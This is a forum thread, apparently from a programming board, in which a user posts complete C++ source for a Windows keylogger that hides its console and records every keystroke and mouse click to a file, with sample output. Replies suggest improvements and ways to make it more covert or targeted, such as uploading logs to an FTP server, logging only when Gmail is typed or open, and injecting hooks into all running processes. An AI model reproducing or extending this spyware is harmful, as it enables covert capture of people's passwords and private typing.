[C++] Keylogger [Safe to enter post]

Joined
Oct 21, 2006
Messages
1,165
Reaction score
29
Code:
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string.h>
#include <windows.h>
using namespace std;
int main()
{
    // Hides the console, so runs in background
    FreeConsole();
    ofstream keyLog;
    // our log file
    keyLog.open("loggerLog.txt");
    while(true)
    {
        // Now define all keys that we wish to capture and log //
        // Mouse Input    //
        if(GetAsyncKeyState(VK_LBUTTON)&1)    {    keyLog << "[MOUSE-LEFT]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_RBUTTON)&1)    {    keyLog << "[MOUSE-RIGHT]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_MBUTTON)&1)    {    keyLog << "[MOUSE-MIDDLE]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_XBUTTON1)&1) {    keyLog << "[MOUSE-XBUTTON-1]";    Sleep(100); };
        if(GetAsyncKeyState(VK_XBUTTON2)&1) {    keyLog << "[MOUSE-XBUTTON-2]";    Sleep(100); };
        // lower case
        if(GetAsyncKeyState(0x41)&1)    {    keyLog << 'a';    Sleep(100);    };
        if(GetAsyncKeyState(0x42)&1)    {    keyLog << 'b';    Sleep(100);    };
        if(GetAsyncKeyState(0x43)&1)    {    keyLog << 'c';    Sleep(100);    };
        if(GetAsyncKeyState(0x44)&1)    {    keyLog << 'd';    Sleep(100);    };
        if(GetAsyncKeyState(0x45)&1)    {    keyLog << 'e';    Sleep(100);    };
        if(GetAsyncKeyState(0x46)&1)    {    keyLog << 'f';    Sleep(100);    };
        if(GetAsyncKeyState(0x47)&1)    {    keyLog << 'g';    Sleep(100);    };
        if(GetAsyncKeyState(0x48)&1)    {    keyLog << 'h';    Sleep(100);    };
        if(GetAsyncKeyState(0x49)&1)    {    keyLog << 'i';    Sleep(100);    };
        if(GetAsyncKeyState(0x4A)&1)    {    keyLog << 'j';    Sleep(100);    };
        if(GetAsyncKeyState(0x4B)&1)    {    keyLog << 'k';    Sleep(100);    };
        if(GetAsyncKeyState(0x4C)&1)    {    keyLog << 'l';    Sleep(100);    };
        if(GetAsyncKeyState(0x4D)&1)    {    keyLog << 'm';    Sleep(100);    };
        if(GetAsyncKeyState(0x4E)&1)    {    keyLog << 'n';    Sleep(100);    };
        if(GetAsyncKeyState(0x4F)&1)    {    keyLog << 'o';    Sleep(100);    };
        if(GetAsyncKeyState(0x50)&1)    {    keyLog << 'p';    Sleep(100);    };
        if(GetAsyncKeyState(0x51)&1)    {    keyLog << 'q';    Sleep(100);    };
        if(GetAsyncKeyState(0x52)&1)    {    keyLog << 'r';    Sleep(100);    };
        if(GetAsyncKeyState(0x53)&1)    {    keyLog << 's';    Sleep(100);    };
        if(GetAsyncKeyState(0x54)&1)    {    keyLog << 't';    Sleep(100);    };
        if(GetAsyncKeyState(0x55)&1)    {    keyLog << 'u';    Sleep(100);    };
        if(GetAsyncKeyState(0x56)&1)    {    keyLog << 'v';    Sleep(100);    };
        if(GetAsyncKeyState(0x57)&1)    {    keyLog << 'w';    Sleep(100);    };
        if(GetAsyncKeyState(0x58)&1)    {    keyLog << 'x';    Sleep(100);    };
        if(GetAsyncKeyState(0x59)&1)    {    keyLog << 'y';    Sleep(100);    };
        if(GetAsyncKeyState(0x5A)&1)    {    keyLog << 'z';    Sleep(100);    };
        //NUMPAD
        if(GetAsyncKeyState(VK_NUMPAD0)&1)    { keyLog << '0', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD1)&1)    { keyLog << '1', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD2)&1)    { keyLog << '2', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD3)&1)    { keyLog << '3', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD4)&1)    { keyLog << '4', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD5)&1)    { keyLog << '5', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD6)&1)    { keyLog << '6', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD7)&1)    { keyLog << '7', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD8)&1)    { keyLog << '8', Sleep(100); };
        if(GetAsyncKeyState(VK_NUMPAD9)&1)    { keyLog << '9', Sleep(100); };
        // Other numpad keys
        if(GetAsyncKeyState(VK_MULTIPLY)&1)    { keyLog << '*',                    Sleep(100); };
        if(GetAsyncKeyState(VK_ADD)&1)        { keyLog << '+',                    Sleep(100); };
        if(GetAsyncKeyState(VK_SEPARATOR)&1){ keyLog << "[NUMPAD_SEPARATOR]",    Sleep(100); };
        if(GetAsyncKeyState(VK_SUBTRACT)&1)    { keyLog << '-',                    Sleep(100); };
        if(GetAsyncKeyState(VK_DECIMAL)&1)    { keyLog << '.',                    Sleep(100); };
        if(GetAsyncKeyState(VK_DIVIDE)&1)    { keyLog << '/',                    Sleep(100); };
        // Various format keys
        if(GetAsyncKeyState(VK_CAPITAL)&1)    {    keyLog << "[CAPS]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_END)&1)        {    keyLog << "[END]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_HOME)&1)        {    keyLog << "[HOME]";        Sleep(100);    };
        if(GetAsyncKeyState(VK_INSERT)&1)    {    keyLog << "[INSERT]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_DELETE)&1)    {    keyLog << "[DELETE]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_SPACE)&1)    {    keyLog << "[SPACE]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_LSHIFT)&1)    {    keyLog << "[SHIFT]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_RSHIFT)&1)    {    keyLog << "[SHIFT]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_MENU)&1)        {    keyLog << "[ALT]";        Sleep(100); };
        if(GetAsyncKeyState(VK_RCONTROL)&1)    {    keyLog << "[CONTROL]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_LCONTROL)&1)    {    keyLog << "[CONTROL]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_CONTROL)&1)  {    keyLog << "[CONTROL]";    Sleep(100); };
        if(GetAsyncKeyState(VK_RWIN)&1)        {    keyLog << "[WINKEY]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_LWIN)&1)        {    keyLog << "[WINKEY]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_RETURN)&1)    {    keyLog << "[ENTER]";    Sleep(100);    };
        if(GetAsyncKeyState(VK_BACK)&1)        {    keyLog << "[BACKSPACE]";Sleep(100);    };
        // Numbers
        if(GetAsyncKeyState(0x30)&1)    {    keyLog << '0';    Sleep(100);    };
        if(GetAsyncKeyState(0x31)&1)    {    keyLog << '1';    Sleep(100);    };
        if(GetAsyncKeyState(0x32)&1)    {    keyLog << '2';    Sleep(100);    };
        if(GetAsyncKeyState(0x33)&1)    {    keyLog << '3';    Sleep(100);    };
        if(GetAsyncKeyState(0x34)&1)    {    keyLog << '4';    Sleep(100);    };
        if(GetAsyncKeyState(0x35)&1)    {    keyLog << '5';    Sleep(100);    };
        if(GetAsyncKeyState(0x36)&1)    {    keyLog << '6';    Sleep(100);    };
        if(GetAsyncKeyState(0x37)&1)    {    keyLog << '7';    Sleep(100);    };
        if(GetAsyncKeyState(0x38)&1)    {    keyLog << '8';    Sleep(100);    };
        if(GetAsyncKeyState(0x39)&1)    {    keyLog << '9';    Sleep(100);    };
        //Function Keys i.e F1, F2
        if(GetAsyncKeyState(VK_F1)&1)    { keyLog << "[F1]", Sleep(100); };
        if(GetAsyncKeyState(VK_F2)&1)    { keyLog << "[F2]", Sleep(100); };
        if(GetAsyncKeyState(VK_F3)&1)    { keyLog << "[F3]", Sleep(100); };
        if(GetAsyncKeyState(VK_F4)&1)    { keyLog << "[F4]", Sleep(100); };
        if(GetAsyncKeyState(VK_F5)&1)    { keyLog << "[F5]", Sleep(100); };
        if(GetAsyncKeyState(VK_F6)&1)    { keyLog << "[F6]", Sleep(100); };
        if(GetAsyncKeyState(VK_F7)&1)    { keyLog << "[F7]", Sleep(100); };
        if(GetAsyncKeyState(VK_F8)&1)    { keyLog << "[F8]", Sleep(100); };
        if(GetAsyncKeyState(VK_F9)&1)    { keyLog << "[F9]", Sleep(100); };
        if(GetAsyncKeyState(VK_F10)&1)    { keyLog << "[F10]", Sleep(100); };
        if(GetAsyncKeyState(VK_F11)&1)    { keyLog << "[F11]", Sleep(100); };
        if(GetAsyncKeyState(VK_F12)&1)    { keyLog << "[F12]", Sleep(100); };        
    }
    return 0;
}
Example Output
Code:
[MOUSE-LEFT]abcdefghijklmnopqrstuvwxyz[SPACE][ALT][CONTROL][CONTROL][SHIFT][SHIFT][ENTER]1234567890[CONTROL][CONTROL][ALT][ALT][CONTROL][CONTROL][MOUSE-LEFT]


its safe only logs to file, but yea you probably could do something a fair bit more malicious if you wanted to, like uploading to an ftp after a certain point.

See any issues?
 
Might I suggest using direct input?

"If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks."
 
Last edited:
Works for me, except the XBUTTONs don't compile (undefined). And I flush the stream every round (I know, inefficient) and added a Sleep(1) (which will in fact sleep for about 10 ms), to cut down in CPU cost.
 
Ah right, yea its definitely not an efficient way to do it. I think the better way would be to iterate through the keys and do something like


Code:
[LEFT][COLOR=#0000FF]SHORT[/COLOR] KeyState;
 
[COLOR=#0000FF]for[/COLOR] [COLOR=#000000]([/COLOR][COLOR=#0000FF]int[/COLOR] i = [COLOR=#0000DD]0[/COLOR]; i < [COLOR=#0000DD]256[/COLOR]; i++[COLOR=#000000])[/COLOR]
[COLOR=#000000]{[/COLOR]
     KeyState = GetAsyncKeyState[COLOR=#000000]([/COLOR]i[COLOR=#000000])[/COLOR]; 
[COLOR=#000000]}[/COLOR]    


[/LEFT]

Something along those lines, thanks for the feedback, it does work as is obviously - however it is very inefficient and definitely not complete. I was bored and just whipped it up late one evening
 
1) GetAsyncKeyState
2) Convert vKey to character
3) Log it

Or you could ditch 2) and just log it. Then make another program that converts the logged vKeys to normal characters.
 
You could store each character in a string, and check if the string contains something, like ... gmail.com or whatever, and then start logging to a file. ;)
 
You could store each character in a string, and check if the string contains something, like ... gmail.com or whatever, and then start logging to a file. ;)

Thought of that too, but really...do you still type it? When I type 'g' it popups up and I click it. In fact, for gmail I have a FF plugin which gets me to my new mails immediately. I barely ever type a whole internet address.
 
instead of looking for a keypress, why not look for window to open. like anything with Gmail in the title it starts to log. and as long as gmail is there it logs when it closes, so does the log.

Doesn't seem possible in C++ as far as I know, but then again I don't know C++, I'm a C# guy.
 
instead of looking for a keypress, why not look for window to open. like anything with Gmail in the title it starts to log. and as long as gmail is there it logs when it closes, so does the log.

Doesn't seem possible in C++ as far as I know, but then again I don't know C++, I'm a C# guy.

The way bad C++ programs do it is to enumerate all open windows and store them in a structure. Then again, some time later, do the same thing and note differences.

The way good C++ programs do it is inject a hook into all running processes hooking their CreateWindow api etc. Keylogging can be done this way as well, and give detail into which window exactly the typing took place (as well as being async, subclassing wndprocs), though it's a little more complex to setup :o.
 
Back